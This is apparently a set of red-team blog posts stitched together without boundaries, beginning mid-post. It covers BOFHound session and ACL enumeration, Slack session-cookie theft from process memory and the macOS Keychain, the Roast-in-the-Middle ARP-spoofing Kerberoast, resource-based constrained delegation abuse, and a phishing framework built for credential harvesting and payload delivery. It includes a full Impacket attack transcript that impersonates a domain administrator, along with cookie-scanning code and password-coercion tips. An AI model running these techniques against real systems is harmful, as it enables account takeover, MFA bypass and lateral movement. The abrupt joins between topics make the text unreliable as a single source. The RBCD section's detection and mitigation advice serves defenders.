SharpHound also offers collection methods for individual local groups (LocalAdmin, RDP, DCOM and PSRemote) and the LocalGroup method, which targets all of the four local groups.

Each of the four compatible BOFs serve as a type of “collector” for one of the functions discussed above.

Privileged Session Enumeration

The netloggedon BOF makes a NetWkstaUserEnum Windows API call, targeting the computer the operator specified. This API requires admin rights on the target machine and, according to Microsoft, “lists entries for service and batch logons, as well as for interactive logons.”

netloggedon2 is the least modified of the situational awareness BOFs; the only change is to include the operator-supplied servername in the output. If the BOF is used to query logged on users on localhost, the fully qualified computer DNS name from GetComputerNameExW is used.

Targeting the lab’s Server 2019 host (OXENFURT) with the BOF (where our simulated initial access user has admin rights) reveals several users logged in, either interactively or via a service (Figure 2).

An important note here is that fully qualified DNS names are important when supplying the servername argument. BOFHound tries to match the session data to an LDAP computer object based on a matching dNSHostName attribute. If that fails, the DNS suffix (e.g., REDANIA.LOCAL) will be converted to a distinguished name (e.g., DC=REDANIA,DC=LOCAL) and the hostname (e.g., OXENFURT) will be used to match a computer object’s sAMAccountName attribute (e.g., OXENFURT$), within that domain. Both of these rely on supplying fully-qualified domain names (FQDNs) as arguments. Targeting hosts by unqualified name or IP address is not supported (the BOFs will still work, but BOFHound won’t be able to match the session to a computer object). These same principles will apply to the regsession and netLocalGroupListMember2 BOFs.

Registry Session Enumeration

This is the second method SharpHound uses when the LoggedOn collection method is specified and also requires admin rights on the remote target. The HKEY_USERS registry hive on a system will contain SIDs as subkeys for currently logged on users (both local and domain). Taking a look at the registry on the enumeration target for my lab (OXENFURT), there are subkeys indicating the presence of three domain user logons (Figure 3).

These correspond to the GERALT, SQLSVC, and DANDELION domain users seen in the output from the netloggedon BOF. Running the regsession BOF (based on the SA reg_query BOF), these three SIDs are obtained from the remote HKEY_USERS hive (Figure 4).

While maybe less visually appealing, BOFHound benefits from this session enumeration method returning user SIDs directly, meaning there is no need to obtain a matching SID via user object lookups on the sAMAccountName attribute. Local account SIDs will also show up here, but BOFHound will ignore them.

Session Enumeration

The final session enumeration method leverages the NetSessionEnum API and differs from the other methods for two reasons. First, it may not require local admin rights over the target to execute. Admin rights are required from Server 2016 onward and Windows 10 version 1607 onward (by default). Second, it doesn’t show users logged into the targeted system, but instead reveals the client IP a user has established a session on your targeted system from. One example of this is share browsing; a user browsing a remote file server is not “logged on” to the file server, but has established a session from their client (where the logon actually is) (Figure 5).

Somewhat problematic for BOFHound, the API call returns the client the user established the session from as an IP which is unable to be matched to a LDAP search result. Modifications to the netsession BOF include options for resolving returned client IPs to DNS names or computer names.

Option 1: Reverse DNS Lookups

This is the default resolution method that will be used if one is not explicitly specified. A reverse DNS lookup is attempted using the client IP address, in hopes of returning a FQDN (again, to match to a computer object’s dNSHostName attribute from LDAP).

During lab setup, I used the ADMINISTRATOR user to map a share on OXENFURT from TRETOGOR to simulate a session for the results. The second result, for the user CIRI, is just a result of running the BOF from the CINTRA host.

A specific DNS server can also be used with the syntax netsession2 <target> 1 <DNS Server>.

Reverse DNS lookup is the default option because it’s quieter than making connections to each remote client; however, it depends on reverse lookup zones being configured. In the DNS Manager snap-in, you can see the PTR records that allow the lookup to be successful (Figure 7).

Option 2: NetWkstaGetInfo

In the event that reverse lookup zones are not configured, the second resolution method available involves calling the NetWkstaGetInfo API. This is not the default method because it involves creating a SMB connection to each client associated with a session to retrieve the client’s NetBIOS computer name and NetBIOS domain name. Depending on the host you enumerate sessions on, this may cause an excess number of SMB connections to remote hosts (another potential SharpHound indicator).

This resolution method can be specified with a 2 for the resolution method argument (Figure 8).

The data returned from NetWkstaGetInfo presents one last hurdle for parsing. Since the API returns NetBIOS names, we can no longer match a computer object on dNSHostName. Instead, BOFHound has to:

1. Map the NetBIOS domain name to a known LDAP domain object, containing the domain SID

2. Find a computer object in that domain where the sAMAccountName attribute matches the NetBIOS computer name

The NetBIOS domain name translation relies on referral (crossRef) LDAP objects, which contain a nETBIOSName attribute. These can be identified with the query below (Figure 9).

ldapsearch (netbiosname=*) * 0 "" "CN=Partitions,CN=Configuration,DC=domain,DC=local"

TL;DR if you opt to use this second method for session enum, execute the above LDAP query so that BOFHound can properly tie the session to a computer.

Local Group Membership Enumeration

Local group memberships allow BloodHound to populate the AdminTo, CanRDP, CanPSRemote, and ExecuteDCOM edges. SharpHound queries four local groups for this: ADMINISTRATORS, REMOTE DESKTOP USERS, REMOTE MANAGEMENT USERS, and DISTRIBUTED COM USERS.

The existing netLocalGroupListMembers BOF already allows us to query these groups. With a modification to one of the returned structures, we can also obtain group members’ SIDs and SID types — much better for tying back to LDAP objects than just member names (Figure 10).

The modified BOF can also be run without a group name, using ”” (e.g., netLocalGroupListMembers2 “” host.domain.local), to query all four of the groups we care about.

Visualization

With all the enumeration we’re interested in out of the way, we can parse the Beacon logs and load the results into BHCE! The new version of BOFHound doesn’t introduce any new command-line interface flags, so we can simply run it as usual (Figure 11).

After we load the JSON files into BHCE, we can run a pathfinding query starting from our compromised user or host (CIRI@REDANIA.LOCAL or CINTRA@REDANIA.LOCAL) and ending at the DOMAIN ADMINS group (Figure 12).

We can see a path utilizing some of the session and local group data queried via the BOFs!

Augmenting SharpHound’s DCOnly Collection Method

Session and local group collection is often the noisiest part of SharpHound execution. It’s not entirely uncommon to be in a scenario where LDAP object collection via SharpHound is on the table, but session/local group collection is off limits. In one of these situations, it’s possible to combine approaches using SharpHound’s DCOnly collection method and then manually enumerating sessions with the new BOFs to add to SharpHound’s data pull (similar concept to using SharpHound’s -ComputerFile flag). 

This is fairly straightforward to do — after blowing away my graph database container, we can start with a DCOnly collection and upload it to our BHCE instance (Figure 13).

Once uploaded, we can verify that no sessions or local admins are tied to our test machine, OXENFURT (Figure 14).

We can add some local data to this object by querying sessions with regsession and the local admins group with netLocalGroupListMembers2.

beacon> regsession oxenfurt.redania.local
…
beacon> netLocalGroupListMembers2 Administrators oxenfurt.redania.local
…

Remember that BloodHound session objects are comprised of a user SID and a computer SID. Since we’re using the regsession, BOF we already have the SIDs of users with sessions. If using netsession2 or netloggedon2, we’d have to issue an LDAP query for the user object with the corresponding sAMAccountName attribute. We will have to do this on the computer side to obtain the computer SID, and also to have a computer object to attach the session and local group data to. The last minimum requirement for this to work is the related domain object, so we’ll query that as well.

beacon> ldapsearch (samaccountname=oxenfurt$)
…
beacon> ldapsearch (objectclass=domain)
…

The logs generated by those actions contain 1 computer object, 1 domain object, 3 registry sessions and 3 local group memberships for BOFHound to parse (Figure 15).

BOFHound will generate several JSON files as a result, but the only one we need to upload is the computers JSON file. After uploading it to BHCE, a second look at the OXENFURT computer shows the sessions and local admins we manually enumerated (Figure 16).

In small enough doses, this approach could provide valuable additions to the DCOnly data for pathfinding, while helping avoid the indicators of a full SharpHound session pull.

Conclusion

BOFHound previously served as a solid component of manual approaches to approximate SharpHound’s data collection; however, one of the major missing pieces was the ability to manually enumerate session data and local group data and process those alongside LDAP search results to approximate a more complete SharpHound collection. In this post, we examined several new(ish) BOFHound-compatible BOFs and usage examples, that allow an operator to take a manual and targeted approach to attack path mapping that relies on BloodHound’s HasSession and AdminTo edges.

What’s Changed Since 2020?

The biggest change Slack has made since Cody’s original post involves cookie encryption (at least on macOS). Back in 2020, the macOS Slack cookies database contained cleartext cookies, which meant an attacker with disk access could steal the database file and place it on another host where the attacker’s local Slack application could replay the cookies.

On macOS, the cookie values are now encrypted with a key named Slack Safe Storage, which is stored in the user’s login Keychain. On Windows, the cookies are encrypted by a data protection API (DPAPI) key.

The SQLite cookies database can be found at:

• %APPDATA%\Slack\Network\Cookies (Windows)

• ~/Library/Application Support/Slack/Default/Cookies (macOS)

Additionally, some of the files containing Slack user metadata have been consolidated into a single file:

• %APPDATA%\Slack\storage\root-state.json (Windows, Figure 1)

• ~/Library/Application Support/Slack/storage/root-state.json (macOS)

This file contains JSON content detailing Slack UI settings, metadata for files downloaded through Slack, and workspaces the user is signed into.

Cookie Theft on Windows Hosts

Since Slack stores its cookies in a SQLite database with the same database schema as Chrome, it shouldn’t be too hard to modify a tool like SharpDPAPI’s SharpChrome to accommodate Slack cookie retrieval (shoutout to Lee Christensen for doubling back and actually implementing Slack support in this pull request). However, unlike the Chrome cookies database, which is likely storing many cookies we care about, the Slack cookies database only contains a single cookie we’re interested in.

To log into a user’s Slack without their password (regardless of multi-factor authentication [MFA]) we just need the d cookie —  a value with the static prefix xoxd-. Using Process Hacker, we can actually identify the cookie within memory of a running slack.exe process:

1. Open the parent slack.exe process (on occasion, you may need to check the child Slack processes)

2. On the “Memory” tab, click “Strings” (and subsequently “OK” to gather results)

3. Click “Filter” and return only results that contain or start with the string xoxd- (Figure 2)

How can we make use of this discovery operationally on a red team engagement? Immediately, the office_tokens beacon object file (BOF) from TrustedSec’s CS-Remote-OPs-BOF repository comes to mind. This BOF simply reads the memory of a remote Office process and searches the returned buffer for JSON web tokens (JWTs) related to Microsoft services. The following snippet contains the BOF code iterating through the buffer and trying to find a match to a specific JWT prefix, eyJ0eX:

for (index = 0; index < (address_sz/2)-8; index++)
{
    if(buffer[index] == L'e' && buffer[index+1] == L'y' && buffer[index+2] == L'J' && buffer[index+3] == L'0' && buffer[index+4] == L'e' && buffer[index+5] == L'X')
    {
        BeaconPrintf(CALLBACK_OUTPUT, "Office Token: %ls", buffer + index);
        index += MSVCRT$wcslen(buffer + index);
    }
}

With just a few modifications to this code, we can leverage any command and control (C2) framework with BOF support to steal Slack cookies from running slack.exe processes (or browser processes, if the target isn’t using the desktop app) (Figure 3).

In addition to not having to deal with DPAPI complexities, this approach doesn’t require us to load any .NET tooling. The slack_cookie BOF and updated aggressor script can be found in this pull request to the CS-Remote-OPs-BOF repo.

After stealing the cookie, open up a browser and visit Slack or your target’s workspace URL. Use the browser’s developer tools or the EditThisCookie extension to add a new cookie with the name d and your stolen cookie value. Ensure the cookie’s domain is set to .slack.com — in some instances, I found leaving this to the default app.slack.com or <workspace>.slack.com wouldn’t work (Figure 4).

Refresh the page and it should now say you’re signed into the target space! Click “open” and now you can interact with your new Slack account on the web or in the desktop app (Figure 5).

Cookie Theft on macOS Hosts

Since we can’t just read remote process memory on macOS (modern versions of Slack are protected by the hardened runtime, part of Apple’s notarization process), the cross-process cookie theft we demonstrated on Windows won’t fly. With the cookie decryption key stored in the user’s login Keychain, this line from Cody’s blog still mostly holds true:

At least in macOS, this means that an attacker doesn’t just need access as the user account, but also needs to know the user’s plaintext password to decrypt the login Keychain to access the appropriate key.

While in the process of writing this blog, Cody pointed me to some recent Keychain research he released at Objective by the Sea 5. In it, he presents a unique tactic to retrieve Slack’s decryption key from the login Keychain without knowledge of the user’s password. Check out his presentation or slides for more details.

In other cases, it’s likely you’re going to need the Slack Safe Storage key from the Keychain (Figure 6).

The user’s password is required to extract the key from the login Keychain. There are a few potential routes to obtain the user’s password:

• Download the user’s login Keychain from ~/Library/Application Support/keychains/login.keychain-db, extract the user’s password hash with chainbreaker, and crack it with Hashcat (-m 23100)

  • This retrives the PBKDF2-HMAC-SHA1 3DES version of the user’s password hash, which is prone to collisions (requiring the use of — keep-guessing with Hashcat)

  • Another method is to get the user’s ShadowHashData (PBKDF2-SALTED-SHA512) from the local OpenDirectory node (requires root)

• Use Apfell’s or Poseidon’s prompt command to coerce the user into submitting their password (similar to the Windows AskCreds BOF technique)

• Phishing and other social engineering techniques

• Monitoring the clipboard through Poseidon’s clipboard_monitor command (the clipboard is not protected by transparency consent and control [TCC], unlike keystrokes)

This is the biggest hurdle to clear — assuming you’ve accomplished this step, you can retrieve the Slack Safe Storage key from the login Keychain with chainbreaker (Figure 7).

Now we can finally decrypt that Slack cookie! ChatGPT quickly converted this ChromeCookieDecryptor project to Python for me and with only a few slight tweaks, I had plaintext cookies (Figure 8)!

The decryption script can be found in this gist.

Conclusion

Slack has followed the cookie storage blueprint used by browsers, like Google Chrome, making existing tooling and techniques adaptable for Slack exploitation. Windows hosts present a relatively easy opportunity for Slack compromise, opposed to macOS, where current tradecraft requires some additional work (or luck).

ARP Spoofing

Similar to the proof-of-concept code, RITM performs ARP spoofing to obtain the man-in-the-middle position required for the attack. The only difference between how the tools operate is RITM supports spoofing to a gateway, allowing for the attack to function even when the target clients and DCs are on different network segments. In my home lab, all the machines are on the same segment, like below, so ARP spoofing between then doesn’t involve a gateway.

However, in practice you’ll likely need to spoof between your target and the local gateway (which can be done by adjusting one CLI flag).

Before we start the attack, if we check the ARP cache on the Windows 10 client, everything will appear normal.

Let’s kick off RITM and start the attack.

Couple of notes on the screenshot:

• I’m providing the domain controller’s IP to the -g/--gateway flag where you’ll specify the gateway normally

• Regardless of if everything’s on the same segment or not, I would specify a domain controller’s IP with --dc-ip. You really don’t want to wait around sniffing for an AS-REQ, only for the attack to fail if your machine can’t directly resolve the domain name

• The -u/--users-file flag needs a list of usernames. If you’re performing this attack truly unauthenticated, use RID cycling or brute forcing Kerberos pre-auth to obtain a list

Once RITM is up and running, we can take another look at the target’s ARP cache and see that it’s been poisoned.

Since RITM supports spoofing to a gateway, the ARP spoofing is performed both ways. Meaning, if you were also to check the ARP cache on whatever was provided to the -g/--gateway flag, the attacker’s MAC would be listed as the physical address for the target client(s).

This is where things can get risky - if you target networking devices with -t instead of Windows workstations/servers, things are going to break. Targeting too many machines at once could also have negative effects.

AS-REQ Sniffing

Now that a man-in-the-middle position has been obtained, it’s really just a waiting game to sniff an AS-REQ. You should be able to sniff them naturally when users’ TGTs on your target(s) expire and a new one is requested, or when they log into their machine from a locked screen. Tt’s probably more fruitful to target Windows workstations than servers for this reason, if you have a choice on your network segment.

In my lab, a new AS-REQ can be forced by purging existing tickets and then requesting access to a service.

RITM confirms this caused the client to send out an AS-REQ.

Let’s examine this a bit in Wireshark. We can see that we’ve actually man-in-the-middled two AS-REQs from the target. The first does not contain pA-ENC-TIMESTAMP data and is met with a ERR_PREAUTH_REQUIRED from the KDC. The second AS-REQ from the target does contain the encrypted timestamp, used by the KDC to verify the client’s identify

This second AS-REQ is what RITM is sniffing for. If the account the sniffed AS-REQ belongs to does not require pre-auth, no AS-REQ containing pA-ENC-TIMESTAMP data will be sent and this will actually be missed by RITM. In my experience, this would be an edge case that won’t be encountered often. But be aware this could technically be missed.

Roasting

This is where Charlie’s research comes into play. AS-REQs are normally used to request ticket-granting-tickets (TGTs) , but Charlie discovered that by specifying a SPN within the sname of a valid AS-REQ, the KDC will respond with a service ticket for that SPN. By replaying the AS-REQ and inserting known usernames into the sname field, we can Kerberoast.

In regards to the roast-in-the-middle attack, he also states:

This type of attack generally is not possible with TGS-REQs because the optional cksum field within the authenticator inside the AP-REQ protects the req-body of the request and is frequently included by genuine Windows Kerberos clients. Therefore, modifying the sname of a TGS-REQ without updating the checksum within the authenticator invalidates the authenticator checksum and returns a KRB_AP_ERR_MODIFIED error. But this is not a problem for AS-REQs because the req-body, and consequently the sname field, are not protected.

This may be another minor difference between his proof-of-concept and RITM. Instead of modifying the sniffed AS-REQ and replaying it, RITM uses Impacket to create new AS-REQs from scratch and then stuff the sniffed pA-ENC-TIMESTAMP data into those packets.

Going back to Wireshark, you’ll notice there are 5 AS-REQs following the legitimate Kerberos traffic. The user list I provided only included 4 names - RITM first sends an AS-REQ with krbtgt as the sname value to determine the validity of the timestamp. In the 4 trailing AS-REQs you’ll see the legitimate timestamp data, pulled right from the sniffed packet, with the user list rotated in as the sname value.

Three of those four AS-REQs received an ERR_S_PRINCIPAL_UNKNOWN from the KDC, indicating those sname values were valid, but were unassociated with an SPN. The other account does have an SPN and RITM successfully roasts this account.

Cleanup

After the user list is exhausted, RITM will automatically shutdown and attempt to restore the ARP caches of any systems involved in the spoofing attack. It will also attempt to perform this cleanup upon receiving a Ctrl-C from the operator, although multiple Ctrl-C hits will likely interrupt restoration.

References

• https://www.semperis.com/blog/new-attack-paths-as-requested-sts/

• https://github.com/0xe7/RoastInTheMiddle

Identifying RBCD Scenarios

Let’s start with how to find scenarios allowing RBCD in BloodHound. For the purposes of this blog, we’ll assume that I’ve already compromised the EZ\matt account, a basic domain user, and used it to collect BloodHound data. To configure the lab in a vulnerable state, I’ve granted the Finance Users group GenericAll permissions over the WS1.EZ.LAB machine. Either GenericAll or GenericWrite privileges will directly allow modifications to the target computer object for RBCD takeover.

This can be identified by checking the Inbound Control Rights section of WS1.EZ.LAB’s node info in the BloodHound UI, but doesn’t work very well at scale. To search for outlying permissions that may allow RBCD abuse in large domains, I recommend Cypher queries similar to the simple ones included below. In addition to GenericAll and GenericWrite, you can also search for Owns, WriteDacl and WriteOwner permissions, which indirectly enable RBCD by allowing you to grant an owned object GenericAll over the target object, using PowerView or dacledit.py. These queries can help identify low-privilege objects that can modify machine accounts, when abuse doesn’t run though the Domain Users group and thus gets glossed over by BloodHound’s stock Find Dangerous Rights for Domain Users Groups query.

# All objects with first-degree permissions allowing RBCD abuse
MATCH (n)-[r:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]->(c:Computer) RETURN distinct(n.name), count(c) ORDER BY count(c) ASC

# All users with Nth degree permissions, through nested group memberships, allowing RBCD abuse
MATCH (u:User)-[r:MemberOf*1..]->(g:Group)-[r1:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]->(c:Computer) RETURN distinct(n.name), count(c) ORDER BY count(c) ASC

You can also utilize Impacket’s findDelegation.py to query the domain for preexisting RBCD relationships.

RBCD Abuse

RBCD attacks typically follow similar steps to those listed below. If you’re using ntlmrelayx’s delegate access attack, step 2, and potentially step 1, will look a little different.

Adding a Machine Account to Active Directory

To perform Kerberos delegation through S4U functions in the later steps, we require control over an account set with an SPN. Machine accounts are easy targets to fulfill this requirement, and in many environments still configured with the default MachineAccountQuota, you can simply add one to the domain. If you’re unable to add a new machine account, compromising an existing one will also do the trick. This is easily accomplished as a standard user in most environments through WebDAV + relay attacks, or by compromising local admin rights to any single machine through other means.

In my lab setup, the MachineAccountQuota is 10 and I’ll use Impacket’s addcomputer.py to add a new machine account named FORTALICE$ to the domain. Impacket will also add default computer SPNs (HOST and RestrictedKrbHost) to the object.

Modifying the Target in LDAP

Now that we have control over an account set with a SPN, we can grant it RBCD privileges on the target machine object in LDAP using Impacket’s rbcd.py. This will modify WS1$’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute, allowing our machine account to impersonate other users to it.

Requesting a TGS Through S4U Extensions

Next, we can abuse RBCD to obtain a TGS ticket for a service tied to WS1$, impersonating an account that is granted local administrator rights to WS1.EZ.LAB. We can use getST.py to impersonate EZ\Administrator, a domain admin, to the CIFS service on WS1.EZ.LAB. (I encountered problems performing the getST step without Kerberos auth, so I first requested a TGT and exported it, but this should be optional.)

Impacket reports that it successfully obtained and saved a service ticket for the administrator account through S4U2Self and S4U2Proxy. At this point we can finish our lateral move to WS1.EZ.LAB, but what is really going on under the hood? Capturing this step with Wireshark, we see two TGS-REQ messages from Kali to the KDC and two TGS-REP messages sent back by the KDC.

S4U2Self Request

The first of these sequences is the S4U2Self request and response. The S4U extensions are better explained here, but S4U2Self essentially allows a service to obtain a forwardable ticket to itself, for another user. Examining the TGS-REQ message, we can see that we’re requesting a ticket on behalf of EZ\Administrator for the service fortalice$. Elsewhere in the kdc-options section of the req-body, the forwardable flag is set.

S4U2Proxy Request

After the KDC responds with the S4U2Self ticket, S4U2Proxy is used to request a TGS ticket to a different service as the user impersonated during S4U2Self. Opening the associated TGS-REP shows that we’re requesting a ticket for cifs/ws1.ez.lab and including the forwardable S4U2Self ticket in the additional-tickets section. This is the point where the KDC will perform a check to ensure that FORTALICE$ has the required delegation rights (which we set with rbcd.py) before returning the ticket that allows access to WS1.EZ.LAB.

Authenticating to the Target as an Administrator

With all of that out of the way, we can export the resulting service ticket, and use it to confirm admin rights on WS1.EZ.LAB.

Attack Transcript

# Add a machine account and modify msDS-AllowedToActOnBehalfOfOtherIdentity
python3 addcomputer.py ez.lab/user:pass -computer-name FORTALICE -computer-pass password
python3 rbcd.py ez.lab/user:pass -action write -delegate-to ‘WS1$’ -delegate-from ‘FORTALICE$’

# Or use ntlmrelayx’s delegate access attack
python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --delegate-access

# Impersonate an admin to the target through S4U2Self and S4U2Proxy
# If this errors, try requesting a TGT with getTGT.py first, then using -k in the getST.py command
python3 getST.py ez.lab/’FORTALICE$’:pass -spn cifs/ws1.ez.lab -impersonate administrator

# Utilize the TGS
export KRB5CCNAME=/opt/impacket/examples/administrator.ccache
python3 wmiexec.py ez.lab/administrator@ws1.ez.lab -k -no-pass

# Cleanup RBCD modification after exploitation
python3 rbcd.py ez.lab/user:pass -action remove -delegate-to ‘WS1$’ -delegate-from ‘FORTALICE$’

# Elevated privs will be needed to clean up the added machine account
python3 addcomputer.py ez.lab/administrator:pass -computer-name FORTALICE -delete‍

Detection and Mitigation

• Set the domain’s ms-DS-MachineAccountQuota to 0, instead of the default value of 10. This can be done through the ADSI Edit application on a DC

  • While not enough on its own, it will at least require the attacker to obtain control of a machine account through some other means than just simply adding one

• Monitor for AD object modifications (event ID 5136 or 4662) where the attribute being modified is msDS-AllowedToActOnBehalfOfOtherIdentity

• Mark privileged accounts as Account is sensitive and cannot be delegated in Active Directory

  • This will cause the KDC to report a KDC_ERR_BADOPTPION error when requesting a TGS for the sensitive account through S4U functions

• Add privileged accounts to the Protected Users group in Active Directory

  • Membership in this group won’t prevent resource-based constrained delegation, but is a good protection measure in general

References and Credits

• https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd

• https://blog.harmj0y.net/redteaming/another-word-on-delegation/

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

• https://harmj0y.medium.com/s4u2pwnage-36efe1a2777c

• https://www.alteredsecurity.com/post/resource-based-constrained-delegation-rbcd

ACL Mapping

The initial release of BOFHound aimed to aid in visualizing manually queried LDAP data by parsing those results so that group memberships (MemberOf edges) and ACL relationships (edges such as GenericAll, Owns, ForceChangePassword) could be imported into BloodHound.

Let’s say your goal is to simply find abuse avenues over your target domain - you can start by issuing a simple LDAP query (using pyldapsearch or the ldapsearch BOF) with the filter ‘(objectClass=domain)’. Next, we’ll run BOFHound over the log file and parse that single domain object:

Several JSON files will be written, which we’ll upload to BloodHound. Locating the domain object in the BloodHound GUI, we can head to the Inbound Control Rights section and click the number associated with First Degree Controllers. This will us a graph that looks something like this, where we can see objects (ones we haven’t queried) by their SIDs and their rights over the domain object.‍

With this as a starting point towards our goal, we’ve got more objects to query. Looking at those SIDs, I know S-1-5-32-544 is the Administrators group, and the SIDs ending in 512, 516, and 519 are Domain Controllers, Domain Admins, and Enterprise Admins. I’m not sure what the SID ending in 498 is off the top of my head and I also know the SID ending in 1111 belongs to an object which no longer exists in this domain. Accordingly, I’ll run some more LDAP queries to gather the objects in our result set:

(sAMAccountName=Administrators)
(sAMAccountName=Domain Admins)
(sAMAccountName=Enterprise Admins)
(sAMAccountName=Domain Controllers)
(objectSid=S-1-5-21-3539700351-1165401899-3544196954-498)

Rerun BOFHound, load the output into BloodHound and now the graph is looking more filled in. Additionally, if we now click on one of the group objects we can see the distinguished names of members:

We can use this information to spider out further and start revealing Unrolled Controllers, or objects with nested group memberships granting nth-degree object control over the domain. My example domain isn’t heavily populated so member objects of these groups are minimal. In client environments, it’d likely be tedious to query each manually by distinguished name, but the good news is you have options. Option 1 is to query with a filter on the memberOf field, like this:

(memberOf=CN=Administrators,CN=Builtin,DC=ez,DC=lab)

This will return all direct members of the Administrators group. Option 2 is to query all nested members of the target group by using a specific LDAP OID, like this:

(memberOf:1.2.840.113556.1.4.1941:CN=Administrators,CN=Builtin,DC=ez,DC=lab)

Something to consider with both of those options is that the memberOf attribute is not indexed by Active Directory, meaning the query is likely to visit a high number of LDAP objects, even if few are ultimately relevant. This is one of the detection strategies mentioned in the original BOFHound post. In environments where this is a detection consideration, I’ll sometimes just use a bash loop or xargs to individually query the distinguished names with a small sleep between each query (if using the ldapsearch BOF, this probably requires some aggressor scripting). However, in my small lab I’ll just query the members of these groups by sAMAccountName:

(sAMAccountName=Administrator)
(sAMAccountName=DC1$)

Rerun BOFHound, reimport to BloodHound and we can now see the unrolled controllers related to the target domain:‍

At this point, you can rinse and repeat what we’ve done to keep enumerating layers of attack paths. We could start exploring any unknown objects that pop up with the Transitive Controllers query on the domain, but we’ve also parsed ACLs for several users and groups which we could start to hunt paths to individually.‍

In practice, the approach demonstrated here - one or two LDAP queries followed by BOFHound and importing - is fairly slow, so you may choose to run larger sets of queries or more aggressive queries before each BOFHound pass. However, the approach here does demonstrate that as the operator, you are in total control over how granular you want AD reconnaissance to be, all while maintaining the ability to utilize BloodHound.

GPO and OU Mapping

All of that was possible in the original release so what’s new in BOFHound 0.1.0? In this release, we’ve added support for OU and GPO objects, as well as parsing out domain trust relationships (those can be queried with ‘(objectClass=trustedDomain)’). Targeted enumeration of OUs and linked GPOs will work similarly to the groups and group members from above. As an example, in my lab, I’ll query all OUs, but if you’re targeting some specific subset of machines (i.e., Citrix servers), you could try a query filter similar to ‘(&(objectClass=organizationalUnit)(|(ou=*citrix*)(ou=*ctx*)))’.

The gpLink attribute contains the distinguished names of associated group policy objects. GPOs can also be linked directory to domain objects:

Now we query for the GPOs linked to the specific OUs we’re interested in:

‘(cn={F08300B1-8BFF-4866-8524-14C03B50D991})’
‘(cn={6AC1786C-016F-1102-945F-00C04fB984F9})’
...

Run BOFHound to collect the data from our logs, upload to BloodHound and we can see how GPOs filter down to OUs and other objects.

If we’re hunting for modifiable GPOs, we can also view the inbound controllers and start down the ACL path again:

Wrapping Up

The majority of the LDAP query filters used as examples throughout this post are very simple - mostly consisting of a sole condition to return a single object of interest. This is sufficient for populating targeted ACL relationships, however, if you’re looking for slightly more wide-ranging queries to help populate your BloodHound database, you’ll want to branch out from this structure. Two great resources to help you get started with manual LDAP searching can be found here by Hope Walker (@Icemoonhsv) and here by Rob Fuller (@mubix).

The “Why” Behind redlure

There are a few operational deficiencies my team identified in our phishing processes that drove the development of something new. None of these are to suggest that redlure is the ideal solution to the problems presented, or the right solution for every team, but to simply provide a baseline of the development goals.

Scalability

Working for a consulting firm on a small offensive security team of 5+ people, there are going to be multiple client projects running in parallel. This inevitably means overlapping phishing engagements, but with many tools, you’re either limited to phishing from one domain at a time, or maybe even unable to run different campaigns simultaneously.

To address this, my team used to maintain 3 or 4 individual instances of our phishing platforms to support multiple engagements or even provide flexibility within a single engagement. This usually meant we had to make repetitive updates to various phishing templates across servers or manually aggregate phishing results from separate servers used during a single engagement.

Focus on Offensive Phishing

Putting user awareness aside, there’s usually two goals when phishing in the context of a pentest: harvesting credentials or delivering a C2 payload.

For credential harvesting, we always desired a simple way to mimic the flow of signing into services like Office365 or Gmail, which utilize separate pages for username and password entry. This login experience that users are familiar with can be difficult to recreate within a phishing framework and is something we frequently setup in hacky ways fully or partially outside our phishing frameworks.

On the payload delivery side, we desired a way to incorporate the payload directly into campaigns from our phishing tool, without the need to manually copy it up to exposed directories on phishing servers or needlessly expose our C2 domain by hosting it off Cobalt Strike’s web server.

Manual Configuration

Phishing is generally time consuming no matter how you slice it, but we found ourselves spending extra time SSHing out to phishing servers to do small manual things like switch domains we’re phishing from or generate SSL certs. This was definitely more of a convenience wish than an operational need, but something we thought would be a time saver if it could done from a central location.

How redlure Attempts to Improve These

Scalability

redlure attempts to solve this with what I would describe as a distributed or ‘hub and spoke’ architecture. There’s a central API, the redlure-console, which acts as the command center of the framework. The console is the singular point of storage for templates, results and all your phishing-related data. A web UI, the redlure-client, allows you to interact with the console API from a browser. While you’re ideally only interacting with the console/web UI outside of initial setup, the console doesn’t host any of your templated phishing sites on the web - that is the function of the redlure-worker.

Workers get setup on remote servers and host a simpler API that communicates with the console. You can setup and connect a variable number of workers to a single console; sometimes I have only a single worker hooked up to my console, other times my team has had 6 or 7 at once. This allows operators to scale up and down as needed, with the added benefit that if an IP or domain gets burned, you can just destroy the offending worker and replace it with a new one instead of having to stand-up all new phishing infrastructure.

Focus on Offensive Phishing

When setting up a phishing campaign through the console, you have the ability to chain up to four of your templated webpages together through actions like form submission or button clicks. This allows you the ability to accurately mimic two-step logins or hide your true landing page behind a sort of rudimentary redirect. Four pages may be overkill - I’ve never gone this far myself, but the flexbility is there if you decide to get creative. You can read a little more about the setup for these here.

On the payload side, payloads can be uploaded directly to workers through the client interface. In campaign configuration options you have the ability to select a payload uploaded to your chosen worker and host it off a configurable URI which is accessible through a variable in your templated emails and webpages.

Manual Configuration

Ideally, after setup, the client will serve as your single point of interaction with the console and workers. Through the web interface and console API you can remotely generate Let’s Encrypt SSL certificates on workers for your domains. Domain usage gets configured at runtime for campaigns, so there is no need to SSH out to workers for either of these. The only thing you should have to handle outside of the client interface is configuring your DNS records.

Setup Guide

Console Setup

I’ll setup the console and client off one server. This needs 2GB memory minimum; anything less and I’ve had issues. The one I’m deploying has 2GB of RAM and 64 GB disk space - $12/month on Vultr. Firewall rules I typically use can be found here.

First thing to do is update, then install certbot for SSL certificates.

After that I’ll generate some certs for the domain I’ll be hosting the console and client from. While the console does not host any phishing pages for you, it does connect to your configured SMTP servers to send email. There is a chance your console’s hostname or reverse DNS lookup could leak through email headers, so choose with this knowledge.

Next up is installing the console itself. Python3.9 was already installed on my Ubuntu instance so I’ll skip that step and start with pipenv.

Before we actually start the console, we’ll want to edit the config.py file to add our certificates and a secret key. If we start the console without a secret key configured, it’ll suggest a random one for us.

Secret key copied, I’ll paste the value into config.py and specify my Let’s Encrypt certs to use.

Now we can start the console for real (screen/tmux time). The first time you startup, you’ll prompted for a passphrase that an encryption key for sensitive database fields will be derived from. Write this down somewhere, you’ll be prompted to input this if you restart the console.

Client Setup

On the same cloud instance as the console, I’ll install the client.

Clone the repo and install npm.

We’ll use npm to then install the angular-cli.

Install all the Angular dependencies with npm install from the redlure-client directory.

Edit config.py to choose a port and set certs.

And start the client!

